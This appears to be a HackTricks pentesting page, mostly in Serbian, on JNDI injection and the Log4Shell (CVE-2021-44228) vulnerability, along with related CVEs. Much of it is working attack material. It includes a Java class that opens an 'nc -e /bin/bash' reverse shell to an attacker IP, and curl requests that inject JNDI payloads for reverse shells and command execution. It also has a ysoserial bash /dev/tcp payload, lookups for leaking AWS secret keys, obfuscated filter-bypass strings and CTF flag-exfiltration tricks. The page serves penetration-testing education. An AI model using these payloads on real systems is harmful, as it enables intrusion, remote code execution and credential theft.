33 KiB
JNDI - Java Naming and Directory Interface & Log4Shell
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
Basic Information
JNDI, integrisan u Javu od kraja 1990-ih, služi kao servis za imenovanje, omogućavajući Java programima da lociraju podatke ili objekte putem sistema imenovanja. Podržava različite servise direktorijuma putem interfejsa provajdera usluga (SPI), omogućavajući preuzimanje podataka iz različitih sistema, uključujući udaljene Java objekte. Uobičajeni SPI uključuju CORBA COS, Java RMI Registry i LDAP.
JNDI Naming Reference
Java objekti mogu biti pohranjeni i preuzeti koristeći JNDI Naming References, koji dolaze u dva oblika:
- Reference Addresses: Specifikuje lokaciju objekta (npr., rmi://server/ref), omogućavajući direktno preuzimanje sa navedene adrese.
- Remote Factory: Referencira klasu udaljene fabrike. Kada se pristupi, klasa se preuzima i instancira sa udaljene lokacije.
Međutim, ovaj mehanizam može biti zloupotrebljen, što može dovesti do učitavanja i izvršavanja proizvoljnog koda. Kao protivmera:
- RMI:
java.rmi.server.useCodeabseOnly = true
po defaultu od JDK 7u21, ograničavajući učitavanje udaljenih objekata. Security Manager dodatno ograničava šta može biti učitano. - LDAP:
com.sun.jndi.ldap.object.trustURLCodebase = false
po defaultu od JDK 6u141, 7u131, 8u121, blokirajući izvršavanje udaljeno učitanih Java objekata. Ako je postavljeno natrue
, moguće je izvršavanje udaljenog koda bez nadzora Security Manager-a. - CORBA: Nema specifičnu osobinu, ali je Security Manager uvek aktivan.
Međutim, Naming Manager, odgovoran za rešavanje JNDI linkova, nema ugrađene bezbednosne mehanizme, što može omogućiti preuzimanje objekata iz bilo kog izvora. Ovo predstavlja rizik jer se RMI, LDAP i CORBA zaštite mogu zaobići, što dovodi do učitavanja proizvoljnih Java objekata ili zloupotrebe postojećih komponenti aplikacije (gadgets) za pokretanje malicioznog koda.
Primeri zloupotrebljivih URL-ova uključuju:
- rmi://attacker-server/bar
- ldap://attacker-server/bar
- iiop://attacker-server/bar
Uprkos zaštitama, ranjivosti ostaju, uglavnom zbog nedostatka zaštite protiv učitavanja JNDI iz nepouzdanih izvora i mogućnosti zaobilaženja postojećih zaštita.
JNDI Example
Čak i ako ste postavili PROVIDER_URL
, možete naznačiti drugačiji u pretrazi i biće pristupljeno: ctx.lookup("<attacker-controlled-url>")
i to je ono što će napadač zloupotrebiti da učita proizvoljne objekte iz sistema koji on kontroliše.
CORBA Overview
CORBA (Common Object Request Broker Architecture) koristi Interoperable Object Reference (IOR) za jedinstveno identifikovanje udaljenih objekata. Ova referenca uključuje osnovne informacije kao što su:
- Type ID: Jedinstveni identifikator za interfejs.
- Codebase: URL za dobijanje stub klase.
Važno je napomenuti da CORBA nije inherentno ranjiv. Osiguranje bezbednosti obično uključuje:
- Instalaciju Security Manager-a.
- Konfiguraciju Security Manager-a da dozvoli veze sa potencijalno malicioznim kod bazama. To se može postići kroz:
- Socket dozvolu, npr.,
permissions java.net.SocketPermission "*:1098-1099", "connect";
. - Dozvole za čitanje fajlova, bilo univerzalno (
permission java.io.FilePermission "<<ALL FILES>>", "read";
) ili za specifične direktorijume gde bi maliciozni fajlovi mogli biti smešteni.
Međutim, neke politike provajdera mogu biti blage i dozvoliti ove veze po defaultu.
RMI Context
Za RMI (Remote Method Invocation), situacija je donekle drugačija. Kao i kod CORBA, učitavanje proizvoljnih klasa je po defaultu ograničeno. Da bi se zloupotrebio RMI, obično bi bilo potrebno zaobići Security Manager, što je takođe relevantno u CORBA.
LDAP
Prvo, potrebno je razlikovati između pretrage i pretrage po imenu.
Pretraga će koristiti URL kao ldap://localhost:389/o=JNDITutorial
da pronađe JNDITutorial objekat sa LDAP servera i preuzme njegove atribute.
Pretraga po imenu je namenjena za imenovanje servisa jer želimo da dobijemo šta god je vezano za ime.
Ako je LDAP pretraga pozvana sa SearchControls.setReturningObjFlag() sa true
, tada će vraćeni objekat biti rekonstruisan.
Stoga, postoji nekoliko načina da se napadnu ove opcije.
Napadač može otrovati LDAP zapise uvodeći payload-e u njih koji će biti izvršeni u sistemima koji ih prikupljaju (veoma korisno za kompromitovanje desetina mašina ako imate pristup LDAP serveru). Drugi način da se ovo zloupotrebi bio bi da se izvrši MitM napad u LDAP pretrazi, na primer.
U slučaju da možete naterati aplikaciju da reši JNDI LDAP URL, možete kontrolisati LDAP koji će biti pretražen, i mogli biste poslati nazad exploit (log4shell).
Deserialization exploit
Eksploit je serijalizovan i biće deseralizovan.
U slučaju da je trustURLCodebase
true
, napadač može pružiti svoje klase u kod bazi, ako ne, moraće da zloupotrebi gadgets u classpath-u.
JNDI Reference exploit
Lakše je napasti ovaj LDAP koristeći JavaFactory reference:
Log4Shell Vulnerability
Ranjivost je uvedena u Log4j jer podržava posebnu sintaksu u obliku ${prefix:name}
gde je prefix
jedan od niza različitih Lookups gde bi name
trebao biti evaluiran. Na primer, ${java:version}
je trenutna verzija Jave koja se izvršava.
LOG4J2-313 je uveo jndi
Lookup funkciju. Ova funkcija omogućava preuzimanje varijabli putem JNDI. Obično, ključ se automatski prefiksira sa java:comp/env/
. Međutim, ako ključ sam uključuje ":", ovaj defaultni prefiks se ne primenjuje.
Sa : prisutnim u ključu, kao u ${jndi:ldap://example.com/a}
nema prefiksa i LDAP server se upituje za objekat. I ovi Lookups mogu se koristiti i u konfiguraciji Log4j kao i kada se linije beleže.
Stoga, jedina stvar potrebna za dobijanje RCE je ranjiva verzija Log4j koja obrađuje informacije koje kontroliše korisnik. I zato što je ovo biblioteka koja se široko koristi od strane Java aplikacija za beleženje informacija (uključujući aplikacije koje su dostupne na internetu), bilo je veoma uobičajeno da log4j beleži, na primer, HTTP zaglavlja koja su primljena kao što je User-Agent. Međutim, log4j se ne koristi samo za beleženje HTTP informacija već i za bilo koji unos i podatke koje je programer naznačio.
Overview of Log4Shell-Related CVEs
CVE-2021-44228 [Critical]
Ova ranjivost je kritična greška u nepouzdanom deseralizovanju u log4j-core
komponenti, koja utiče na verzije od 2.0-beta9 do 2.14.1. Omogućava daljinsko izvršavanje koda (RCE), omogućavajući napadačima da preuzmu sisteme. Problem je prijavio Chen Zhaojun iz Alibaba Cloud Security Team i utiče na različite Apache okvire. Prvobitno rešenje u verziji 2.15.0 je bilo nepotpuno. Sigma pravila za odbranu su dostupna (Rule 1, Rule 2).
CVE-2021-45046 [Critical]
Prvobitno ocenjen kao nizak, ali kasnije unapređen na kritičan, ovaj CVE je greška u uslovima usluge (DoS) koja proizilazi iz nepotpunog rešenja u 2.15.0 za CVE-2021-44228. Uticaće na ne-podrazumevane konfiguracije, omogućavajući napadačima da izazovu DoS napade putem kreiranih payload-a. Tweet prikazuje metodu zaobilaženja. Problem je rešen u verzijama 2.16.0 i 2.12.2 uklanjanjem obrazaca pretrage poruka i onemogućavanjem JNDI po defaultu.
CVE-2021-4104 [High]
Uticaće na Log4j 1.x verzije u ne-podrazumevanim konfiguracijama koje koriste JMSAppender
, ovaj CVE je greška u nepouzdanom deseralizovanju. Nema rešenja dostupnog za 1.x granu, koja je završila svoj životni ciklus, i preporučuje se nadogradnja na log4j-core 2.17.0
.
CVE-2021-42550 [Moderate]
Ova ranjivost utiče na Logback logging framework, naslednika Log4j 1.x. Prethodno smatrano sigurnim, okviro je pronađen ranjivim, a nove verzije (1.3.0-alpha11 i 1.2.9) su objavljene kako bi se rešio problem.
CVE-2021-45105 [High]
Log4j 2.16.0 sadrži DoS grešku, što je dovelo do objavljivanja log4j 2.17.0
kako bi se ispravila CVE. Dodatni detalji su u izveštaju BleepingComputer-a report.
CVE-2021-44832
Uticaće na log4j verziju 2.17, ovaj CVE zahteva da napadač kontroliše konfiguracioni fajl log4j. Uključuje potencijalno izvršavanje proizvoljnog koda putem konfigurisanog JDBCAppender-a. Više detalja je dostupno u Checkmarx blog postu.
Log4Shell Exploitation
Discovery
Ova ranjivost je veoma lako otkriti ako nije zaštićena jer će poslati barem DNS zahtev na adresu koju navedete u svom payload-u. Stoga, payload-ovi kao što su:
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
(koristeći canarytokens.com)${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
(koristeći interactsh)${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
(koristeći Burp Suite)${jndi:ldap://2j4ayo.dnslog.cn}
(koristeći dnslog)${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
koristeći (koristeći huntress)
Napomena: čak i ako je primljen DNS zahtev, to ne znači da je aplikacija ranjiva (ili čak ranjiva), moraćete da pokušate da je zloupotrebite.
{% hint style="info" %} Zapamtite da da biste zloupotrebili verziju 2.15 morate dodati zaobilaženje provere localhost: ${jndi:ldap://127.0.0.1#...} {% endhint %}
Local Discovery
Pretražite lokalne ranjive verzije biblioteke sa:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
Verifikacija
Neke od platformi navedenih ranije će vam omogućiti da unesete neke promenljive podatke koji će biti zabeleženi kada se zatraže.
To može biti veoma korisno za 2 stvari:
- Da verifikujete ranjivost
- Da ekstrahujete informacije zloupotrebljavajući ranjivost
Na primer, mogli biste zatražiti nešto poput:
ili kao ${
jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
i ako je primljen DNS zahtev sa vrednošću env promenljive, znate da je aplikacija ranjiva.
Druge informacije koje biste mogli pokušati da iscurite:
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Any other env variable name that could store sensitive information
RCE Information
{% hint style="info" %}
Hostovi koji rade na JDK verzijama iznad 6u141, 7u131 ili 8u121 su zaštićeni od LDAP napada. To je zbog podrazumevane deaktivacije com.sun.jndi.ldap.object.trustURLCodebase
, koja sprečava JNDI da učita udaljenu bazu koda putem LDAP-a. Međutim, važno je napomenuti da ove verzije nisu zaštićene od napada deserializacije.
Za napadače koji žele da iskoriste ove više JDK verzije, neophodno je iskoristiti pouzdani gadget unutar Java aplikacije. Alati poput ysoserial ili JNDIExploit se često koriste u tu svrhu. S druge strane, iskorišćavanje nižih JDK verzija je relativno lakše jer se ove verzije mogu manipulisati da učitaju i izvrše proizvoljne klase.
Za više informacija (poput ograničenja na RMI i CORBA vektore) proverite prethodni deo JNDI Naming Reference ili https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ {% endhint %}
RCE - Marshalsec sa prilagođenim payload-om
Možete testirati ovo u THM box-u: https://tryhackme.com/room/solar
Koristite alat marshalsec (jar verzija dostupna ovde). Ovaj pristup uspostavlja LDAP referral server za preusmeravanje konekcija na sekundarni HTTP server gde će biti hostovan exploit:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"
Da biste naterali metu da učita kod za reverznu ljusku, kreirajte Java datoteku pod imenom Exploit.java
sa sledećim sadržajem:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Kompajlirajte Java datoteku u klasu koristeći: javac Exploit.java -source 8 -target 8
. Zatim, pokrenite HTTP server u direktorijumu koji sadrži klasu sa: python3 -m http.server
. Osigurajte da marshalsec LDAP server upućuje na ovaj HTTP server.
Pokrenite izvršenje klase eksploata na podložnom veb serveru slanjem payload-a koji liči na:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Напомена: Овај експлоит се ослања на конфигурацију Јаве која дозвољава учитавање кодне базе на даљину преко LDAP. Ако то није дозвољено, размислите о експлоатацији поуздане класе за произвољно извршавање кода.
RCE - JNDIExploit
{% hint style="info" %} Имајте на уму да је из неког разлога аутор уклонио овај пројекат са гитхаба након откривања log4shell. Можете пронаћи кеширану верзију на https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2, али ако желите да поштујете одлуку аутора, користите другу методу за експлоатацију ове рањивости.
Штавише, не можете пронаћи изворни код у wayback machine, па или анализирајте изворни код, или извршите jar знајући да не знате шта извршавате. {% endhint %}
За овај пример можете само покренути овај рањиви веб сервер за log4shell на порту 8080: https://github.com/christophetd/log4shell-vulnerable-app (у README-у ћете наћи како да га покренете). Ова рањива апликација бележи са рањивом верзијом log4shell садржај HTTP захтева заглавља X-Api-Version.
Затим, можете преузети JNDIExploit jar датотеку и извршити је са:
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
После читања кода само неколико минута, у com.feihong.ldap.LdapServer и com.feihong.ldap.HTTPServer можете видети како се LDAP и HTTP сервери креирају. LDAP сервер ће разумети који payload треба да буде послужен и преусмериће жртву на HTTP сервер, који ће послужити експлоит.
У com.feihong.ldap.gadgets можете пронаћи неке специфичне гадгете који се могу користити за извршавање жељене акције (потенцијално извршавање произвољног кода). А у com.feihong.ldap.template можете видети различите класe шаблона које ће генерисати експлоите.
Можете видети све доступне експлоите са java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
. Неке корисне су:
ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more
Dakle, u našem primeru, već imamo tu ranjivu aplikaciju na dockeru koja radi. Da bismo je napali:
# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Kada šaljete napade, videćete neki izlaz u terminalu gde ste izvršili JNDIExploit-1.2-SNAPSHOT.jar.
Zapamtite da proverite java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
za druge opcije eksploatacije. Pored toga, u slučaju da vam zatreba, možete promeniti port LDAP i HTTP servera.
RCE - JNDI-Exploit-Kit
Na sličan način kao prethodni exploit, možete pokušati da koristite JNDI-Exploit-Kit da iskoristite ovu ranjivost.
Možete generisati URL-ove koje ćete poslati žrtvi pokretanjem:
# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Ovaj napad koristeći prilagođeni generisani java objekat će raditi u laboratorijama kao što je THM solar room. Međutim, ovo obično neće raditi (jer je po defaultu Java konfigurisana da ne učitava udaljene kod baze koristeći LDAP) mislim zato što ne zloupotrebljava poverljivu klasu za izvršavanje proizvoljnog koda.
RCE - JNDI-Injection-Exploit-Plus
https://github.com/cckuailong/JNDI-Injection-Exploit-Plus je još jedan alat za generisanje funkcionalnih JNDI linkova i pružanje pozadinskih usluga pokretanjem RMI servera, LDAP servera i HTTP servera.\
RCE - ysoserial & JNDI-Exploit-Kit
Ova opcija je zaista korisna za napad na Java verzije koje su konfigurisane da veruju samo određenim klasama i ne svima. Stoga, ysoserial će biti korišćen za generisanje serijalizacija poverljivih klasa koje se mogu koristiti kao uređaji za izvršavanje proizvoljnog koda (poverenljiva klasa koju zloupotrebljava ysoserial mora biti korišćena od strane žrtvinog java programa kako bi eksploatacija radila).
Korišćenjem ysoserial ili ysoserial-modified možete kreirati eksploataciju deserializacije koja će biti preuzeta od strane JNDI:
# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Koristite JNDI-Exploit-Kit da generišete JNDI linkove gde će eksploatacija čekati na veze sa ranjivim mašinama. Možete poslužiti različite eksploate koji se mogu automatski generisati pomoću JNDI-Exploit-Kit ili čak vaše vlastite deserializacione payload-e (generisane od vas ili ysoserial).
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Sada možete lako koristiti generisanu JNDI vezu da iskoristite ranjivost i dobijete reverse shell jednostavno šaljući na ranjivu verziju log4j: ${ldap://10.10.14.10:1389/generated}
Obilaženja
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
Automatski skeneri
- https://github.com/fullhunt/log4j-scan
- https://github.com/adilsoybali/Log4j-RCE-Scanner
- https://github.com/silentsignal/burp-log4shell
- https://github.com/cisagov/log4j-scanner
- https://github.com/Qualys/log4jscanwin
- https://github.com/hillu/local-log4j-vuln-scanner
- https://github.com/logpresso/CVE-2021-44228-Scanner
- https://github.com/palantir/log4j-sniffer - Pronađite lokalne ranjive biblioteke
Laboratorije za testiranje
- LogForge HTB mašina
- Try Hack Me Solar soba
- https://github.com/leonjza/log4jpwn
- https://github.com/christophetd/log4shell-vulnerable-app
Post-Log4Shell Eksploatacija
U ovom CTF izveštaju je dobro objašnjeno kako je potencijalno moguće da se zloupotrebe neke funkcije Log4J.
Sigurnosna stranica Log4j-a ima nekoliko zanimljivih rečenica:
Od verzije 2.16.0 (za Java 8), funkcija pretrage poruka je potpuno uklonjena. Pretrage u konfiguraciji i dalje rade. Štaviše, Log4j sada po defaultu onemogućava pristup JNDI-ju. JNDI pretrage u konfiguraciji sada treba eksplicitno omogućiti.
Od verzije 2.17.0, (i 2.12.3 i 2.3.1 za Java 7 i Java 6), samo stringovi pretrage u konfiguraciji se rekurzivno proširuju; u bilo kojoj drugoj upotrebi, samo se pretraga na najvišem nivou rešava, a sve ugnježdene pretrage se ne rešavaju.
To znači da po defaultu možete zaboraviti na korišćenje bilo kakvog jndi
eksploita. Štaviše, da biste izvršili rekurzivne pretrage, morate ih imati konfigurirane.
Na primer, u tom CTF-u ovo je bilo konfigurirano u datoteci log4j2.xml:
<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>
Env Lookups
U ovom CTF-u napadač je kontrolisao vrednost ${sys:cmd}
i trebao je da eksfiltrira zastavu iz promenljive okruženja.
Kao što je prikazano na ovoj stranici u prethodnim payload-ima, postoje različiti načini za pristup env promenljivama, kao što je: ${env:FLAG}
. U ovom CTF-u to je bilo beskorisno, ali možda neće biti u drugim stvarnim scenarijima.
Exfiltration in Exceptions
U CTF-u, niste mogli pristupiti stderr java aplikacije koristeći log4J, ali Log4J izuzeci se šalju na stdout, koji je bio odštampan u python aplikaciji. To je značilo da, pokretanjem izuzetka, možemo pristupiti sadržaju. Izuzetak za eksfiltraciju zastave bio je: ${java:${env:FLAG}}
. Ovo funkcioniše jer ${java:CTF{blahblah}}
ne postoji i izuzetak sa vrednošću zastave će biti prikazan:
Conversion Patterns Exceptions
Samo da napomenem, mogli ste takođe da injektujete nove conversion patterns i pokrenete izuzetke koji će biti zabeleženi na stdout
. Na primer:
Ovo nije bilo korisno za eksfiltraciju podataka unutar poruke o grešci, jer pretraga nije rešena pre konverzionog obrasca, ali bi moglo biti korisno za druge stvari kao što je detekcija.
Conversion Patterns Regexes
Međutim, moguće je koristiti neke conversion patterns koji podržavaju regexes za eksfiltraciju informacija iz pretrage koristeći regexes i zloupotrebljavajući binarno pretraživanje ili vremenski zasnovano ponašanje.
- Binarno pretraživanje putem poruka o izuzecima
Konverzioni obrazac %replace
može se koristiti za zamenu sadržaja iz stringa čak i koristeći regexes. Funkcioniše ovako: replace{pattern}{regex}{substitution}
Zloupotrebljavajući ovo ponašanje mogli biste učiniti da zamena pokrene izuzetak ako regex odgovara bilo čemu unutar stringa (i bez izuzetka ako nije pronađeno) ovako:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Na osnovu vremena
Kao što je pomenuto u prethodnom odeljku, %replace
podržava regex. Tako je moguće koristiti payload sa ReDoS stranice da izazove timeout u slučaju da je zastavica pronađena.
Na primer, payload poput %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
bi izazvao timeout u tom CTF-u.
U ovom izveštaju, umesto korišćenja ReDoS napada, korišćen je amplifikacioni napad da izazove vremensku razliku u odgovoru:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Ako zastavica počinje sa
flagGuess
, cela zastavica se zamenjuje sa 29#
-s (koristio sam ovaj karakter jer verovatno neće biti deo zastavice). Svaki od rezultantnih 29#
-s se zatim zamenjuje sa 54#
-s. Ovaj proces se ponavlja 6 puta, što dovodi do ukupnog broja29*54*54^6* =`` ``
96816014208
#
-s!Zamena toliko
#
-s izazvaće 10-sekundni timeout Flask aplikacije, što će rezultirati slanjem HTTP status koda 500 korisniku. (Ako zastavica ne počinje saflagGuess
, dobićemo status kod koji nije 500)
Reference
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.